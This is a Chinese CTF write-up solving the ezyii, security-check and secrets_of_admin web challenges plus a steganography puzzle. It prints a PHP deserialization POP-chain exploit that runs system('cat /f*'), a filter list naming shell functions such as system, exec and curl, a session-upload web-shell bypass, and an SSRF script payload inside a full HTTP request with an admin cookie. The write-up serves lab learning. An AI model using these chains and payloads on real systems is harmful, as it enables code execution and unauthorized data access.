Web

ezyii

yii 的 pop链子,先贴poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

namespace Codeception\Extension {
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;

class RunProcess
{
protected $output;
private $processes = [];

public function __construct()
{
$this->processes[] = new DefaultGenerator(new AppendStream());
$this->output = new DefaultGenerator();
}
}
echo base64_encode(serialize(new RunProcess()));
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace GuzzleHttp\Psr7 {
use Faker\DefaultGenerator;

class AppendStream
{
private $streams = [];
private $seekable = true;

public function __construct()
{
$this->streams[] = new CachingStream();
}
}

class CachingStream
{
private $remoteStream;

public function __construct()
{
$this->remoteStream = new DefaultGenerator(false);
$this->stream = new PumpStream();
}
}

class PumpStream
{
private $source;
private $size = -10;
private $buffer;

public function __construct()
{
$this->buffer = new DefaultGenerator();
include("closure/autoload.php");
$a = function () {
system('cat /f*');
};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source = $b;
}
}
}

具体思路就是从 RunProcess 类入手

1
2
3
4
5
6
7
8
9
10
11
12
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {

if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

这里可以触发 DefaultGenerator 类中的 __call 魔术方法

然后由 return 可触发 AppendStream 类中的 __toString 魔术方法

AppendStream 类中则可以通过 $stream->rewind() 去执行 CachingStream 类中的 rewind() 方法

然后通过 CachingStream 类中的 $this->stream->read($length) 去执行 PumpStream 类中的 read()方法,进而得到 call_user_func 函数的控制权,就可以注入 shell 了,这里用了构造 function 的方法,要注意直接构造然后执行 poc 是跑不通的,可以利用 \Opis\Closure\serialize 类中的序列化方法序列化后再反序列化绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// AppendStream类
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}

// CachingStream类

# seek方法中
if ($diff > 0) {
while ($diff > 0 && !$this->remoteStream->eof()) { //这里要注意,为了能通过这一步进入到 read 方法,remoteStream 属性要修改,具体看poc
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
$this->stream->seek($byte);
}

# read方法中
$data = $this->stream->read($length);
$remaining = $length - strlen($data);

flag:

flag{e09e57a3-0060-4abf-97fe-e89cb9ebb2ba}

安全检测

先是 SSRF 读文件,http://127.0.0.1/admin/include123.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);


show_source(__FILE__);
?>

ban了很多东西,用 PHP_SESSION_UPLOAD_PROGRESS 进行绕过。(注意一句话木马不能存在空格

获取到目录文件列表。

发现 getflag.sh 文件,直接执行就能拿到 flag 了。

flag:

flag{57f1a008-f506-47a8-9174-ae307941d7b5}

secrets_of_admin(unsolve)

这题之后复现感觉其实挺简单的,主要还是代码审计。

database.ts 中可以发现 adminpassword => e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645 ,也可以知道 flag 的 checksum => be5a14a8e504a66979f6938338b0662c

发现可以利用 127.0.0.1 添加文件记录的路由。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

因此考虑将 flag 的文件同时属于 admin,这样就可以利用它的 checksum 进行读取,可以利用这个路由。(应该是个 html 转 pdf 的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

用 include 过滤了些东西,利用数组绕过

1
content[]=%3Cscript%3Evar%20url%3D%22http%3A%2F%2F127%2E0%2E0%2E1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D%2E%2E%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%3Bquery%3Dnew%20XMLHttpRequest%28%29%3Bquery%2Eopen%28%27get%27%2Curl%29%3Bquery%2Esend%28%29%3B%3C%2Fscript%3E

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin HTTP/1.1
Host: 189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81
Content-Length: 301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://189e45c2-c278-4154-a99a-f60a5dcb08c1.node4.buuoj.cn:81/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17b29115fe6634-088485bbacdf7c-4343363-1fa400-17b29115fe7d9a; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU
Connection: close

content[]=%3Cscript%3Evar%20url%3D%22http%3A%2F%2F127%2E0%2E0%2E1%3A8888%2Fapi%2Ffiles%3Fusername%3Dadmin%26filename%3D%2E%2E%2Ffiles%2Fflag%26checksum%3Dbe5a14a8e504a66979f6938338b0662c%22%3Bquery%3Dnew%20XMLHttpRequest%28%29%3Bquery%2Eopen%28%27get%27%2Curl%29%3Bquery%2Esend%28%29%3B%3C%2Fscript%3E

flag:

flag{713393c3-9f68-4719-bac4-649c9cf12eb9}

Misc

鸣雏恋

转 zip 格式打开压缩包,在 _rels 中发现 key.txtlove.zip

先解 key,key 为零宽字节隐写,解码网站

Because I like naruto best

解压图片后发现有大量图片,但是仅有 雏田 和 鸣人 头像,且图片数据分别相同,猜测为 01 二进制,写脚本输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image

mark0 = Image.open('./out/0.png').convert('RGB')
m0 = mark0.size
mark1 = Image.open('./out/1.png').convert('RGB')
m1 = mark1.size

result = ""
for i in range(0, 129488):
print(f"[+]New is img{i}")
mark = Image.open(f'./out/{i}.png').convert('RGB')
if mark.size == m0:
result += "0"
else:
result += "1"

print(result)

得到的二进制逐步解码后即可得到图片

flag

flag{57dd74fb21bb1aee50f19421bf836f23}